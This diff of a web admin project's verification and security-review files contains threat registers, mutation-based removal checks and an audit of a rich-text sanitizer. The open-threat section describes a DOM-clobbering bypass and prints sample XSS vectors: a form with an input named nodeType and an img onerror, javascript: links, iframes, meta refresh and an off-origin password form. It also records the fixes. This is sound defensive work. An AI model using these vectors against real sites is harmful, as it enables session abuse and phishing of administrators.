| WR-11 unique index on `lower(email)` | add it | migration `202610010001_backend_users_email_ci_unique`; `TestBackendAdminEmailCaseInsensitiveUnique`, `TestBackendAdminEmailIndexRefusesCaseDuplicates` PASS |
| WR-03 single-record delete | keep as Winter (allowed whenever a form exists) | `operationDeclared` in `modules/cabana/http.go`; `TestCRUDOperationsFollowDeclarations` PASS |
| WR-17 deny versus wildcard | keep as Winter (exact-code merge) | `applyUserPermissions` in `modules/cabana/auth.go`; `TestBackendUserPermissionsOverrideRole` PASS |
| 24 judgment-tier prohibitions | verdicts accepted; 09-03 #1 superseded by Phase 10.1 D-09 | Prohibitions table above |
| 1 CR-01 | Fill type errors answer 422 | `crud.go` unchanged; `TestCRUDFillTypeIsValidation` PASS today |
| 2 WR-01..WR-19 triage (WR-03, WR-11, WR-17 decisions) | `operationDeclared` delete rule; `lower(email)` index; `applyUserPermissions` exact-code merge | `TestCRUDOperationsFollowDeclarations`, `TestBackendAdmin*`, `TestBackendUserPermissionsOverrideRole` PASS today; `auth.go`, `contracts.go` unchanged |
| 3 24 prohibitions | see Prohibitions table | none newly violated |
They are recorded under `human_verified` and are not re-requested.
### Gaps Summary
No ROADMAP success criterion failed, so there are no gaps. Separate admin authentication, permission gating of controllers, settings and navigation, the strict goccy/go-yaml form and list pipeline, the relation manager that replaces the Collections editors `partial`, the CRUD hooks, per-record bulk delete and the settings binding all exist under `modules/`, are wired, and pass their tests on real PostgreSQL at HEAD in both repositories. CR-01 and all 19 review warnings are fixed in code, and each fix has a passing named test.
None remaining. The one blocker from the 13:00Z run, the stale app-side route inventory, was fixed by a test-only fonoteka.go commit (e074028). The verifier re-ran it and it is green. Each of the 10 routes is confirmed inside cabana's `backend` group, and the field upload route also goes through `protect`/`operationDeclared`. `check-phase9.sh --security` and `--all` exit 0.
The three policy choices from the fix run are decided (WR-11 index added and tested; WR-03 and WR-17 kept as Winter), the judgment-tier prohibition verdicts are accepted, and UAT is complete. No truth failed, no human item is open, so the phase is `passed`.
The 16.3 advisory is also resolved. b45af8e replaces the process-global `lastStamp` map with a per-guard `stampThrottle`. It changes only when `last_used_at` is written, after authentication and scope decisions. The `g15_`/JWT routing, the backend JWT guard, guard ownership and narrow-only scopes are unchanged, and their tests pass, including on PostgreSQL and under `-race`.
A process note carries over from the last report, still not acted on: framework commits that add an admin route should also update fonoteka's `phase09AdminRoutes`, or run `check-phase9.sh --security` first. The root `go test ./...` does not run fonoteka.go tests.
---
_Verified: 2026-10-01T21:17:13Z_
_Verifier: Claude (gsd-verifier)_
_Verified: 2026-10-11T13:38:34Z_
_Verifier: Claude (msd-verifier)_

View File

@@ -1,12 +1,14 @@
---
phase: "10"
reviewed: "2026-09-27"
threats_open: 0
reviewed: "2026-10-12"
threats_open: 1
gate: "scripts/check-phase10.sh --all"
---
# Phase 10 Security Review
**2026-10-12 refresh (quick task 261012-s3g).** This refresh re-reviews the admin surface after Phases 12.1 to 17. Phase 17-02 added a second raw-HTML sink: the RichEditorField read-only view, which bound the output of a hand-built walker that DOM clobbering bypassed (T-10-16, T-17-10). The walker is replaced by DOMPurify 3.4.16 (decision note `.planning/notes/2026-10-12-admin-display-sanitizer-dompurify.md`) and proven in a real engine by a Vitest browser-mode suite (`tests/browser/richeditor-display.test.ts`, Playwright Chromium). The admin CSP adds `form-action 'self'` and `frame-src 'none'`. The `--hygiene` and `--self-test` stages, red since Phase 17, are green again, and `check-phase17.sh` runs the Phase 10 hygiene. One threat stays open: `--all` and `--evidence` still refuse on a failure in `../fonoteka.go` that predates this refresh (T-10-24 row).
This is a fresh code-and-test review of every threat in the registers of Plans 10-01 to 10-05. A high threat counts as mitigated only when its named test fails with the protection removed. That was checked by mutating the production code and re-running the test, as recorded under "Removal check" below. Accepted and transferred threats keep their rationale from the originating plan.
Commands run from `summercms.go`. `../fonoteka.go` tests run inside that repository. Gate stages are modes of `scripts/check-phase10.sh`.
@@ -16,7 +18,7 @@ Commands run from `summercms.go`. `../fonoteka.go` tests run inside that reposit
| T-10-01 | Information Disclosure | cabana login/refresh cookie transport | high | mitigated | `cabana/auth.go`: an X-Requested-With login or cookie refresh writes the JWT only into the HttpOnly `summer_admin` cookie and returns `cookieLoginData` (token_type, expires_in). `admin/src/api/client.ts` never reads a token | `TestPhase10CookieAuth` (cabana), `TestPhase10TracerSPA` (fonoteka), `TestPhase10Coverage/cookie refresh…`; stages `--security`, `--postgres` | pass; removal check fails both tests | A script injected into the admin origin could still act with the session. The CSP `script-src 'self'` and the no-raw-HTML rule (T-10-16) limit that |
| T-10-02 | Tampering | cookie-authenticated unsafe admin routes (CSRF) | high | mitigated | `cabana/csrf.go` `requireAjax` wraps every POST/PUT/DELETE except login and refuses a request with neither Bearer nor `X-Requested-With: XMLHttpRequest` before decoding. The cookie is SameSite=Strict | `TestPhase10CSRF` (walks every mounted handler with a body-read spy), `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` (fails when an unsafe route is added without the walk), `TestPhase10TracerSPA` step 8; stage `--security` | pass; removal check fails TestPhase10CSRF and TestPhase10TracerSPA | Relies on browsers not sending custom headers cross-origin without a CORS preflight, and the admin API answers none |
| T-10-03 | Information Disclosure | boardwalk static serving | medium | mitigated | `boardwalk/boardwalk.go` serves the embedded fs only, with `path.Clean`. It lists no directory, answers 404 for an extension miss and the JSON envelope for `api/` misses | `go test ./boardwalk` (TestTraversalIsCleaned, TestDirectoryIsNeverListed, TestMissingFileWithExtensionIs404, TestPhase10BoardwalkServing encoded traversal); stage `--security` | pass | None known |
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing) | medium | mitigated | `setSecurityHeaders`: X-Frame-Options DENY, CSP frame-ancestors none, script-src self, nosniff, Referrer-Policy same-origin, X-Robots-Tag noindex. The index has no inline script | `TestSecurityHeadersOnEveryResponse`, `TestNoInlineScript`, `TestPhase10BoardwalkServing/HEAD…`; stage `--security` | pass | None known |
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing, injected forms and frames) | medium | mitigated | `boardwalk.SetSecurityHeaders`: X-Frame-Options DENY, CSP `frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'; form-action 'self'; frame-src 'none'`, nosniff, Referrer-Policy same-origin, X-Robots-Tag noindex. The index has no inline script. Injected markup can neither post a native form off-origin nor frame fetched content; a sandboxed srcdoc preview (Blog Editor) is not fetched and still renders (headless Chromium 1223 probe, 2026-10-12) | `TestSecurityHeadersOnEveryResponse`, `TestPhase101BoardwalkExports`, `TestNoInlineScript`, `TestPhase10BoardwalkServing/HEAD…`; stage `--security` | pass; removal check (drop `form-action 'self'`) fails both header tests | The CSP still allows inline styles and off-origin images in rendered content |
| T-10-05 | Spoofing | admin session cookie attributes and logout | high | mitigated | `cabana/auth.go` `sessionCookie`: HttpOnly, Secure (opt-out refused in production), SameSite=Strict, Path=prefix, Max-Age=refresh TTL. `logout` blacklists the jti and expires the cookie. `refresh` loads the admin through the guard's provider and refuses a missing, deactivated or pre-cutoff subject via `bouncer.RefreshAudienceFor`, expiring the cookie on that refusal | `TestPhase10CookieAuth`, `TestPhase10Coverage/cookie refresh…` (attributes on refresh), `TestPhase10AdminAuth` (fonoteka), `TestPhase10AssembledAcceptance` (old cookie is 401 after logout), `TestPhase10Prefix` (cookie_secure false refused in production), `TestAdminRefreshRevocation` (cabana, Postgres), `TestRefreshAudienceForSubject` (bouncer); stages `--security`, `--postgres` | pass; removal checks (HttpOnly off, SameSite Lax, blacklist skipped) each fail | A stolen cookie or Bearer token stays usable until logout, `summer admin:reset-password` (tokens_valid_after), deactivation or deletion of the admin, or the end of its refresh window. Before quick task 260927-q23 (CR-01), refresh skipped the tokens_valid_after and is_activated checks, so a reset did not end a session the SPA kept refreshing. The refresh window slides on every refresh, so a session refreshed at least once per refresh_ttl has no absolute expiry (WR-07, open) |
| T-10-06 | Elevation of Privilege | prefix and controller ID collisions | medium | mitigated | `cabana.AdminPrefix` validation, `checkReservedSegments`, and `surf.checkAdminPrefix` rejecting non-cabana routes at or under the prefix | `TestPhase10Prefix`, `TestPhase10AdminPrefixCollision` (exact, deeper, raw, default `/backend`, sibling allowed); stage `--security` | pass | None known |
| T-10-07 | Denial of Service | concurrent cookie refresh from two tabs | low | mitigated | fonoteka `blacklist_grace: 30`. `client.ts` single-flights one refresh and replays once | `tests/app/client.test.ts` (single-flight, one replay), `tests/smoke/tracer.smoke.test.ts`; stage `--spa` | pass | Two tabs refreshing more than 30 s apart with the same old cookie: the second tab re-logs in |
@@ -28,17 +30,17 @@ Commands run from `summercms.go`. `../fonoteka.go` tests run inside that reposit
| T-10-13 | Tampering | messages and toolbar YAML | low | mitigated | Strict decoding with unknown-key rejection, a custom toolbar unmarshal and boot-time key checks | `TestPhase10Messages`, `TestPhase10Toolbar`, `TestPhase10Coverage/relation messages default…`; stage `--go` | pass | None known |
| T-10-14 | Tampering | OpenAPI document versus handler output | medium | mitigated | Handlers write the documented types. The converter emits exact unions | `TestPhase10OpenAPIConformance` (every route, unknown fields disallowed), `TestUnionRewrite`, `check-admin-openapi.sh --check`; stage `--openapi` | pass | None known |
| T-10-15 | Elevation of Privilege | filters/{scope}/options | medium | mitigated | `protect()` before the provider. Scope names are allow-listed against the compiled filters; anything else is 404 | `TestPhase10FilterOptions`, `TestPhase10Coverage/filter option edges`; stage `--go` | pass | None known |
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigated | Text interpolation only. `admin/src` has no `v-html`, `innerHTML` or `insertAdjacentHTML`. `interpolate` works on plain strings | `--hygiene` (raw-HTML rule, proven by `--self-test` plant), `tests/list/CellValue.test.ts`, `tests/ui/ui.test.ts` (toast and confirm text), `tests/form/fields.test.ts` (hostile type name); stages `--hygiene`, `--spa` | pass; removal check (CellValue via `v-html`) fails the CellValue suite and `--hygiene` | Vue's own escaping is trusted |
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigated | Vue text interpolation everywhere except two reviewed sinks: MarkdownField binds only the server-rendered `POST /markdown/preview` answer (cabana.RenderMarkdown), and the RichEditorField read-only view binds only `displayHtml` output. `displayHtml` (`richeditor/html.ts`) uses a dedicated DOMPurify 3.4.16 instance: EDITOR_TAGS only, `href` only on `<a>` and only through `isAllowedLink` (uponSanitizeAttribute hook), the DROPPED elements with their content, string in and string out through DOMPurify's inert DOMParser document (nothing adopted into the live document, nothing loads). It fails closed (empty string) unless `isSupported` and a fixed canary hold. `lossy.ts` parses into an inert template for tag names only | `tests/browser/richeditor-display.test.ts` (Playwright Chromium: form/input, img and button named nodeType with img onerror, nested in a div, input named localName, off-origin form with a password input, iframe, meta refresh, javascript:/ftp:/sms: hrefs, href on a non-`a` element, inert parse with a resource-timing control, read-only RichEditorField mount), `tests/form/RichEditorField.test.ts` (happy-dom, never as stored), `tests/list/CellValue.test.ts`, `tests/ui/ui.test.ts`, `tests/form/fields.test.ts`; `--hygiene` (raw-HTML rule with line-exact T-17-10 exceptions) and its `--self-test` plants (the display line in another file, a template parse elsewhere); stages `--spa`, `--hygiene` | pass; removal checks: the pre-fix walker fails 4 browser tests, an always-usable sanitizer fails the happy-dom test, removing the hook fails the browser link test, `CellValue` via `v-html` fails its suite and `--hygiene` | Stored richeditor HTML is not sanitized on read server-side; the display relies on DOMPurify plus the CSP. The CSP still allows inline styles and off-origin images in rendered content. Vue's own escaping is trusted |
| T-10-17 | Tampering | login redirect parameter (open redirect) | medium | mitigated | `safeRedirect` accepts only a path starting with exactly one slash (not `//` or `/\`) | `tests/app/router.test.ts`, `tests/views/LoginView.test.ts`; stage `--spa` | pass | None known |
| T-10-18 | Elevation of Privilege | client-side hiding of actions and fields | low | accepted | The server enforces permissions, toolbar actions, writable fields and relation scope (Plans 10-01/10-02). The SPA renders only what it receives and never adds entries, so client manipulation gains nothing | Server enforcement evidence: `TestPhase10AssembledAcceptance` (limited admin gets 403 on Albums), `TestPhase09PermissionMatrix`; stage `--postgres` | pass | Accepted: UI hiding is cosmetic |
| T-10-19 | Information Disclosure | list state (search terms, filters) in the URL | low | accepted | Admin-only, same-origin, Referrer-Policy same-origin and noindex from Plan 10-01. Search terms are not secrets | `TestSecurityHeadersOnEveryResponse`; stage `--security` | pass | Accepted: terms stay in browser history |
| T-10-20 | Tampering | Winter redirect and recordUrl strings used for navigation | low | mitigated | `mapWinterUrl` produces only the current controller's list, create and record routes. Anything else falls back to the list | `tests/app/winterUrl.test.ts` (foreign, absolute, protocol-relative, javascript: inputs); stage `--spa` | pass | None known |
| T-10-21 | Elevation of Privilege | relation link of candidates outside scope (owner, inactive users) | medium | transferred | Enforced server-side by Phase 9: RelationExtendManageQuery, ExcludedRelatedIDs, and TestCollectionsAdminForgedPivot/CrossScope. The SPA only posts ids chosen from the server's candidates and runs those suites as a regression in Task 1 | `TestCollectionsAdmin*` (fonoteka), `TestPhase10AssembledAcceptance` (owner not offered); stages `--go`, `--postgres` | pass | Transferred to the Phase 9 server contract |
| T-10-22 | Information Disclosure | localStorage | low | mitigated | Only `useSidebar.ts` writes browser storage: the `summer-admin.sidebar` boolean | `--hygiene` storage rule (proven by the `--self-test` plant), `tests/state/useSidebar.test.ts` (only that key is ever written) | pass | None known |
| T-10-22 | Information Disclosure | localStorage | low | mitigated | Browser storage holds only the `summer-admin.sidebar` boolean (`useSidebar.ts`) and the per-list query parameters (`listState.ts`, T-16.1-03), never a token | `--hygiene` storage rule (proven by the `--self-test` plant), `tests/state/useSidebar.test.ts` (only that key is ever written) | pass | None known |
| T-10-23 | Spoofing | logout on a shared browser | medium | mitigated | `useAuth.logout` POSTs `/auth/logout` (the server blacklists and expires the cookie), then clears user, navigation and settings and routes to login, even on a failure | `tests/state/useAuth.test.ts` (success, 500, network failure), `tests/shell/UserMenu.test.ts`, `TestPhase10AssembledAcceptance` (old cookie is 401 after logout); stages `--spa`, `--postgres` | pass | None known |
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | mitigated | `scripts/check-phase10.sh`: `phase10_detect` refuses failed, skipped, zero-test, non-JSON and build-failed runs, and named tests that did not pass. Only the two documented parity failures are allow-listed, and they refuse once they pass again. OpenAPI and dist drift, hygiene and evidence stages | `scripts/check-phase10.sh --self-test` (synthetic fail, skip, zero, non-JSON, build, package, required, allow-list cases; hygiene plants); stage `--all` | pass; every synthetic bad run is refused with its own exit code | The allow-list names two tests owned by a Phase 9 follow-up (deferred-items.md) |
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigated | The `--hygiene` stage refuses: app or Polish catalogue names in summercms.go admin, boardwalk, cabana and phrasebook; `types.ts` shapes that are not aliases onto the generated schema; direct fetch; raw HTML; foreign origins in dist; icon namespace imports; retired-prefix routes; untested SPA modules | `--hygiene`, `--self-test` | pass | None known |
| T-10-SC | Tampering | npm/Go dependencies | high | mitigated | No package was added in Plans 10-02 to 10-05. `admin/` installs with `npm ci` against the lockfile approved at the 10-01 blocking-human gate (17 exact pins). swag stays pinned at v1.16.6 via `go run` | `scripts/check-phase10.sh --spa` (runs `npm ci` against the lockfile); removal check: a changed pin in a scratch copy makes `npm ci` exit 1 | pass | npm 12 blocks the esbuild and vue-demi postinstall scripts. Neither is needed |
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | open | `scripts/check-phase10.sh`: `phase10_detect` refuses failed, skipped, zero-test, non-JSON and build-failed runs, and named tests that did not pass; OpenAPI and dist drift, hygiene (with the T-17-10 exceptions) and evidence stages; `--spa` also runs the Vitest browser suite fail-closed. `scripts/check-phase17.sh` docs stage runs `check-phase10.sh --hygiene`, so cross-phase admin drift fails Phase 17's gate (asserted by its `--self-test`) | `scripts/check-phase10.sh --self-test` (synthetic runs; hygiene plants including vhtml-elsewhere, template-parse, origin); stages `--hygiene`, `--spa`, `--postgres`, `--openapi`, `--dist` green on 2026-10-12; `check-phase17.sh --all` green | `--self-test`, `--hygiene`, `--spa`, `--postgres`, `--openapi`, `--dist` pass. `--all`, `--security` and `--evidence` exit 1 on `TestPhase09SecurityRoutes` in `../fonoteka.go` only: its `phase09AdminRoutes` allowlist lacks the Phase 17-01 reorder and singleton routes (recorded in 09-SECURITY.md; fails identically with the pre-refresh framework source) | Open until `fonoteka.go` adds the three route keys to `phase09AdminRoutes` and `--all` is re-run green (quick 261012-s3g deferred-items.md) |
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigated | The `--hygiene` stage refuses: app or Polish catalogue names in summercms.go admin, boardwalk, cabana and phrasebook; `types.ts` shapes that are not aliases onto the generated schema; direct fetch; raw HTML outside the line-exact reviewed sinks; foreign origins in dist (only never-requested literals are allowed: `https://prosemirror.net`, ProseMirror error text, and `https://admin.invalid`, the reserved-TLD parse base of `isAllowedLink`); icon namespace imports; retired-prefix routes; untested SPA modules (the reorder modules are imported by path in `tests/views/ReorderView.test.ts`) | `--hygiene`, `--self-test` (origin plant) | pass | None known |
| T-10-SC | Tampering | npm/Go dependencies | high | mitigated | `admin/` installs with `npm ci` against the committed lockfile, all exact pins. Added 2026-10-12 under `.planning/notes/2026-10-12-admin-display-sanitizer-dompurify.md`: dompurify 3.4.16 (runtime; lockfile integrity checked against the registry), @vitest/browser 3.2.7 and playwright 1.60.0 (dev); maintainers, repositories and release dates verified, `npm audit signatures` clean (308 verified signatures). swag stays pinned at v1.16.6 via `go run` | `scripts/check-phase10.sh --spa` (runs `npm ci` against the lockfile); removal check: a changed pin in a scratch copy makes `npm ci` exit 1 | pass | npm 12 blocks the esbuild and vue-demi postinstall scripts. Neither is needed. dompurify 3.4.17 bump pending its 7-day cooldown (after 2026-10-19) |
## Removal check
@@ -57,10 +59,19 @@ The production code was changed, the named tests were run, and the file was rest
| T-10-16 | `CellValue` renders text through `v-html` | `npx vitest run tests/list/CellValue.test.ts`; `scripts/check-phase10.sh --hygiene` | both exit 1 |
| T-10-24 | synthetic fail, skip, zero, non-JSON, build, package, missing required and stale allow-list runs | `scripts/check-phase10.sh --self-test` | each refused with its exit code |
| T-10-SC | `vue` pin changed in a scratch `package.json` | `npm ci --dry-run --offline` against the committed lockfile | exit 1 |
| T-10-16 (a), 2026-10-12 | pre-fix `html.ts` (hand-built `clean()` walker) restored | `npm --prefix admin run test:browser` | exit 1: drops clobbered forms, localName, inert document and read-only RichEditorField tests fail |
| T-10-16 (b), 2026-10-12 | `sanitizerUsable` returns true unconditionally | `npx --prefix admin vitest run tests/form/RichEditorField.test.ts` (happy-dom) | exit 1: DOMPurify keeps the script under happy-dom |
| T-10-16 (c), 2026-10-12 | `uponSanitizeAttribute` hook removed | `npm --prefix admin run test:browser` | exit 1: href on `p`, ftp: and sms: hrefs survive |
| T-10-04, 2026-10-12 | `form-action 'self'` dropped from the CSP | `go test ./modules/boardwalk -run 'TestSecurityHeadersOnEveryResponse\|TestPhase101BoardwalkExports' -count=1` | exit 1 (both fail) |
| T-10-24, 2026-10-12 | planted RichEditorField display line in another file, template parse elsewhere, foreign origin in the dist JS | `scripts/check-phase10.sh --self-test` | each plant refused for its own rule; self-test exit 0 |
| T-10-SC, 2026-10-12 | `dompurify` pin changed to 3.4.17 in a scratch `package.json` | `npm ci --dry-run --offline` against the committed lockfile | exit 1 (lock file's dompurify@3.4.16 does not satisfy 3.4.17) |
Only one single-layer mutation left its named test green. Removing just the parse-time skip for T-10-10 did not fail `TestPhase10CollectionOwnerReadOnly`, because `assignBelongsTo` independently refuses protected keys. The review therefore names `TestPhase10Coverage`, which catches that layer, as well as the fonoteka test, which catches the full removal.
## Residual risk
- Visual fidelity and the full browser flow are manual checks, not security controls (10-VALIDATION.md, manual-only rows).
- Stored richeditor HTML is still not sanitized on read server-side (seaglass gates every save; legacy or imported values are not rewritten). The read-only display relies on DOMPurify plus the CSP.
- dompurify 3.4.17 (published 2026-10-12, no advisory) is pending a 7-day cooldown; bump after 2026-10-19.
- `check-phase10.sh --all` stays red until `../fonoteka.go` adds the Phase 17-01 reorder and singleton routes to `phase09AdminRoutes` (T-10-24).
- The fonoteka.go `parity` package still fails `TestMigrateSeedsCanonicalGenres` and `TestSchemaMatchesPHPSnapshot`. Both predate Phase 10, are logged in deferred-items.md, and are the only failures the gate allows.

View File

@@ -0,0 +1,149 @@
---
phase: "10"
slug: "admin-vue-spa"
status: draft
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 2
asvs_level: 1
created: "2026-10-12"
---
# Phase 10 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
The full evidence of the first review (tests, gate stages, removal checks) is in `10-SECURITY-REVIEW.md` (2026-09-27). This file records the threat state on master as of 2026-10-12, after Phases 12.1–17 changed the admin surface.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| Browser → `{backend.uri}/api/v1` | Untrusted requests carrying the admin cookie or a Bearer token and user-controlled headers | Session credentials, record writes |
| Browser → `{backend.uri}/...` static | Untrusted paths resolved against the embedded dist tree | Request paths |
| Plugin routes → admin prefix | Other compiled plugins could register paths that shadow the admin surface | Route ownership |
| npm registry → admin/ build | Third-party packages become code in the committed dist | Build-time code |
| SPA → options/filters endpoints | Untrusted search, paging and field/scope names select related rows | Related record labels |
| SPA → record save | Untrusted relation ids and keys become foreign keys and pivot rows | Foreign keys, pivot rows |
| Anonymous browser → /lang | Unauthenticated callers read the string bundle | Public UI strings |
| Plugin YAML/override FS → boot | Plugin-supplied copy and toolbar declarations shape every schema | Configuration |
| Admin API responses → DOM | Plugin labels, messages and record values (including stored HTML) render in the admin origin | Untrusted markup/text |
| URL query → list requests | User-editable query parameters become list filters and sorting | Search terms |
| Winter redirect strings → router | Plugin YAML strings choose navigation targets | URLs |
| Browser storage | Anything persisted survives the session on a shared machine | Sidebar flag, list queries |
| Test and gate results → phase acceptance | Gate completeness decides whether the admin surface counts as done | Acceptance evidence |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-10-01 | Information Disclosure | cabana login/refresh cookie transport | high | mitigate | `cabana/auth.go` `cookieLoginData` (token only in HttpOnly cookie); `TestPhase10CookieAuth` | closed |
| T-10-02 | Tampering | cookie-authenticated unsafe admin routes (CSRF) | high | mitigate | `cabana/csrf.go` `requireAjax`, SameSite=Strict; `TestPhase10CSRF` | closed |
| T-10-03 | Information Disclosure | boardwalk static serving | medium | mitigate | `boardwalk/boardwalk.go` embedded fs + `path.Clean`; `TestTraversalIsCleaned` | closed |
| T-10-04 | Tampering | admin HTML responses (clickjacking, sniffing, indexing) | medium | mitigate | `boardwalk/boardwalk.go:171` security headers, CSP `frame-ancestors 'none'`, X-Robots-Tag | closed |
| T-10-05 | Spoofing | admin session cookie attributes and logout | high | mitigate | `cabana/auth.go` `sessionCookie`, `adminCookieSecure` refuses opt-out in production, `bouncer.RefreshAudienceFor` | closed |
| T-10-06 | Elevation of Privilege | prefix and controller ID collisions | medium | mitigate | `cabana` `checkReservedSegments`; `surf/router.go:581` `checkAdminPrefix` | closed |
| T-10-07 | Denial of Service | concurrent cookie refresh from two tabs | low | mitigate | `admin/src/api/client.ts` single-flight refresh; `blacklist_grace` | closed |
| T-10-08 | Tampering | committed dist and generated types drift | medium | mitigate | `scripts/check-admin-dist.sh`, `scripts/check-admin-openapi.sh --check` | closed |
| T-10-09 | Elevation of Privilege | cabana relation save (IDOR via relation ids) | high | mitigate | `cabana/relation_field.go` `checkRelationScope`; `TestPhase10RelationForgedID` | closed |
| T-10-10 | Tampering | belongs-to mapping of protected foreign keys | high | mitigate | `assignBelongsTo` / read-only protected FK. Since 12.1-02 a field may opt in via `WritableForeignKey`; the default stays read-only | closed |
| T-10-11 | Information Disclosure | fields/{field}/options enumeration | medium | mitigate | `protect()` before SQL, per_page 1–100, 404 for non-relation/read-only | closed |
| T-10-12 | Information Disclosure | public /lang bundle | low | mitigate | `cabana/lang.go` serves only `backend::lang.` | closed |
| T-10-13 | Tampering | messages and toolbar YAML | low | mitigate | Strict decoding, unknown-key rejection | closed |
| T-10-14 | Tampering | OpenAPI document versus handler output | medium | mitigate | `TestPhase10OpenAPIConformance`, `check-admin-openapi.sh --check` | closed |
| T-10-15 | Elevation of Privilege | filters/{scope}/options | medium | mitigate | `protect()` + scope allow-list; `TestPhase10FilterOptions` | closed |
| T-10-16 | Tampering | SPA rendering of plugin labels, messages and record values (XSS) | high | mitigate | Planned: no raw-HTML sink in admin/src. Phase 17-02 added `v-html="display"` (`RichEditorField.vue:305`) fed by `displayHtml` (`richeditor/html.ts`), whose `clean()` can be bypassed by DOM clobbering in Chromium (see audit 2026-10-12) | open |
| T-10-17 | Tampering | login redirect parameter (open redirect) | medium | mitigate | `safeRedirect` (exactly one leading slash) | closed |
| T-10-18 | Elevation of Privilege | client-side hiding of actions and fields | low | accept | Server enforces permissions; see Accepted Risks | closed |
| T-10-19 | Information Disclosure | list state in the URL | low | accept | Admin-only, Referrer-Policy same-origin; see Accepted Risks | closed |
| T-10-20 | Tampering | Winter redirect and recordUrl strings | low | mitigate | `mapWinterUrl` maps to current-controller routes only | closed |
| T-10-21 | Elevation of Privilege | relation link of candidates outside scope | medium | transfer | Phase 9 server contract (RelationExtendManageQuery, ExcludedRelatedIDs) | closed |
| T-10-22 | Information Disclosure | localStorage | low | mitigate | `useSidebar.ts` flag only; `listState.ts` per-admin list queries added under T-16.1-03 and allow-listed in hygiene | closed |
| T-10-23 | Spoofing | logout on a shared browser | medium | mitigate | `useAuth.logout` POSTs `/auth/logout` and clears state even on failure | closed |
| T-10-24 | Repudiation | Phase 10 acceptance evidence | high | mitigate | `scripts/check-phase10.sh`. On 2026-10-12 `--hygiene` and `--self-test` exit 1 (self-test rejects the clean scratch copy), so `--all` cannot pass and the 2026-09-27 review cannot be reproduced | open |
| T-10-25 | Tampering | framework/app boundary and hand-maintained API types | low | mitigate | `--hygiene` boundary rules pass; the stage is red only on drift (literal origin strings in dist, reorder modules tested via the router but not imported by path, and the T-10-16 sink) | open — below high threshold (non-blocking) |
| T-10-SC | Tampering | npm/Go dependencies | high | mitigate | Exact pins + committed lockfile + `npm ci`. TipTap (`@tiptap/*` 3.31.4) was added later in 17-02 under its own plan | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Open Threat Details (audit 2026-10-12)
### T-10-16 — sanitizer bypass by DOM clobbering
- **Sink:** `admin/src/components/form/fields/RichEditorField.vue:305` `v-html="display"`, `display = displayHtml(stored)` in read-only and preview mode (`PreviewField.vue` forces `readOnly`).
- **Defect:** `clean()` (`admin/src/components/form/richeditor/html.ts:60-88`) reads `node.nodeType`, `element.localName`, `.childNodes` and `.attributes` and calls `.remove()`/`.replaceWith()` directly on untrusted nodes. A `<form>` with a control named `nodeType` overrides the property, the form is skipped and its subtree is kept unchanged.
- **Reproduced:** headless Chromium (scratch probe) returns `<form><input name="nodeType"><img src=x onerror=…></form>` as-is, plus `<a href="javascript:…">`, `<iframe>`, `<meta http-equiv=refresh>`, `<style>` and an off-origin `<form action method=post>` with a password input. The same works with `<img name=nodeType>`, `<button name=nodeType>` and nested in `<div>`. `<input name="localName">` throws a TypeError and breaks the read-only view. `holder.append(fragment)` (html.ts:102) adopts nodes into the live document, so image loads start inside `displayHtml`.
- **What limits it:** the admin CSP `script-src 'self'` (`boardwalk/boardwalk.go:32`) blocks inline handlers and `javascript:` URLs. It has no `form-action`, `frame-src` or `default-src`, so phishing forms, iframe overlays, meta-refresh redirects and CSS redress still work. The server sanitizer (seaglass) strips these on admin save, but stored values are not sanitized on read (17-02 deviation 1), and legacy or imported values are exactly the case this check exists for.
- **Neutralised (36 vectors):** svg/math namespace confusion, noscript/xmp/noembed/noframes/plaintext/textarea/title, comment/CDATA, table foster-parenting, entity/whitespace/NUL/U+2028-obfuscated `javascript:`, `data:`, `vbscript:`, event handlers, style/id/name attributes.
- **Test gap:** `admin/tests/form/RichEditorField.test.ts:154-168` fails if `displayHtml` is bypassed outright, but happy-dom does not implement form named properties, so no current test can catch the clobbering vector.
- **Fix:**
1. Make `clean()` safe against clobbering. Either:
- switch to DOMPurify (`ALLOWED_TAGS` = `EDITOR_TAGS`, `ALLOWED_ATTR` = `['href']`, a hook calling `isAllowedLink`). This needs a decision note and the dependency checkpoint; or
- remove `HTMLFormElement` nodes first and read every property through `Node.prototype`/`Element.prototype` getters, never calling methods on the untrusted node.
2. Add a regression test with the clobbering vectors that runs in a real browser engine.
3. Optional: add `form-action 'self'; frame-src 'none'` to the admin CSP.
4. Re-check T-17-10, which shares this sanitizer.
### T-10-24 — Phase 10 gate red since Phase 17
- **`scripts/check-phase10.sh --hygiene`:** exit 1. It reports:
- raw-HTML hits at `RichEditorField.vue:305`, `richeditor/html.ts:103` and `richeditor/lossy.ts:33`;
- dist JS naming `https://admin.invalid` and `https://prosemirror.net`;
- `components/reorder/context.ts`, `ReorderBranch.vue` and `views/ReorderView.vue` as imported by no test.
- **`--self-test`:** exit 1, "self-test hygiene rejected the clean scratch copy". It stops before any detector plant runs, and `--all` runs it first.
- **Cause:** Phase 17 (cb2987c, 872fd65) added the sink, the TipTap literals and the reorder views. `check-phase17.sh` does not run `check-phase10.sh`. Earlier phases did reconcile with this gate (MarkdownField, `files.ts` XHR, `listState.ts`).
- **Fix:**
1. Fix T-10-16.
2. Add line-exact, reviewed exceptions naming T-17-10 for the three raw-HTML lines.
3. Clear the T-10-25 drift.
4. Re-run `--self-test` and `--all` to green and refresh `10-SECURITY-REVIEW.md`.
5. Have later phase gates, or a standing check, run `check-phase10.sh --hygiene`.
### T-10-25 — hygiene drift (non-blocking)
